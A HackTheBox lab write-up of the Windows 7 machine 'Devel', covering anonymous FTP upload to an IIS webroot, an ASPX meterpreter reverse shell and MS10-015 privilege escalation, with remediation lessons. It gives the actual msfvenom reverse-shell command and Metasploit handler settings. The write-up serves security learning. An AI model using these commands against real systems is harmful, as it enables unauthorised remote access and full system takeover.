DEVEL

HackTheBox Writeup

Executive Summary

Devel is a Windows 7 machine featuring a misconfigured FTP server with anonymous access and write permissions to the IIS webroot. This critical misconfiguration allows an attacker to upload a malicious ASPX webshell and gain initial foothold on the system. The target runs an unpatched version of Windows 7 (Build 7600), making it vulnerable to kernel exploits such as MS10-015 (KiTrap0D), which enables privilege escalation from a low-privileged IIS application pool account to NT AUTHORITY\SYSTEM.

1. Reconnaissance

1.1 Port Scanning

Initial reconnaissance was performed using Nmap with service detection and default scripts to identify open ports and running services on the target machine. This phase is critical for understanding the attack surface and planning subsequent exploitation steps.

```
nmap -sC -sV -oN devel_nmap.txt 10.129.164.145
```

The scan revealed two open ports with the following services:

1.2 FTP Enumeration

The FTP service allows anonymous authentication without requiring valid credentials. Upon connection, the directory listing reveals typical IIS webroot files including iisstart.htm and welcome.png. This strongly indicates that the FTP server's root directory is shared with the IIS web server's document root, creating a potential attack vector for webshell upload.

Figure 1: Nmap scan results showing open ports and FTP anonymous access enumeration

2. Initial Access

2.1 Attack Vector Analysis

The FTP server configuration presents a critical security vulnerability: anonymous users have write permissions to the IIS webroot directory. This misconfiguration allows an attacker to upload executable server-side content (such as ASPX files) that can then be triggered via HTTP requests to the web server, effectively granting remote code execution capabilities.

2.2 Payload Generation

A reverse shell payload was crafted using msfvenom in ASPX format. The ASPX format is chosen because IIS 7.5 natively supports ASP.NET execution, allowing the payload to run when accessed through the web server:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.177 LPORT=4444 -f aspx -o shell.aspx
```

2.3 Payload Upload via FTP

The generated ASPX payload was uploaded to the target server via the FTP service using binary transfer mode to prevent file corruption:

Figure 2: Successful upload of the ASPX webshell via anonymous FTP access

2.4 Establishing Reverse Shell

A Metasploit multi/handler was configured to listen for incoming connections. Upon accessing the uploaded payload through the web browser, the IIS server executed the ASPX file, triggering the reverse shell connection:

```
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.14.177

set LPORT 4444

run
```

The connection was established successfully, providing a Meterpreter session running under the context of the IIS application pool account (IIS APPPOOL\Web).

Figure 3: Meterpreter session established as IIS APPPOOL\Web with system enumeration

3. Privilege Escalation

3.1 System Enumeration

System information gathered via Meterpreter revealed Windows 7 Build 7600, an unpatched version vulnerable to multiple kernel exploits:

3.2 Exploit Selection and Execution

The MS10-015 vulnerability (KiTrap0D) was selected for privilege escalation. This kernel exploit takes advantage of improper validation in the Windows kernel, allowing local users to execute arbitrary code with SYSTEM privileges. Using Metasploit's module, a new elevated session was obtained:

Figure 4: Successful privilege escalation via MS10-015 achieving SYSTEM privileges

4. Proof of Compromise

With NT AUTHORITY\SYSTEM privileges successfully obtained, full access to the file system was achieved. Both the user flag and root flag were captured:

Figure 5: Successful capture of both user and root flags

5. Vulnerabilities and Remediation

The following table summarizes the vulnerabilities identified during this assessment:

6. Tools Used

Nmap - Network reconnaissance and service enumeration

FTP Client - Anonymous authentication and payload upload

Msfvenom - Payload generation (ASPX reverse shell)

Metasploit Framework - Exploitation, session handling, and privilege escalation

7. Key Takeaways

This engagement highlights several critical security lessons:

FTP Misconfiguration Risks: Allowing anonymous write access to directories served by a web server creates a direct path to remote code execution. FTP services should enforce strong authentication and restrict write permissions.

Directory Isolation: FTP upload directories must never overlap with web server document roots. Implementing proper directory isolation prevents uploaded content from being executed through the web server.

Patch Management: Unpatched operating systems remain vulnerable to well-known kernel exploits. Windows 7 Build 7600 lacks critical security updates, making privilege escalation trivial with publicly available tools.

Defense in Depth: Multiple layers of security would have prevented this attack chain. Even if FTP was misconfigured, application whitelisting, proper user permissions, and updated systems would have limited the impact.

End-of-Life Systems: Running unsupported operating systems in production environments poses significant security risks. Organizations should prioritize upgrading to supported versions.

End of Report

Yasmin | HackTheBox | November 2025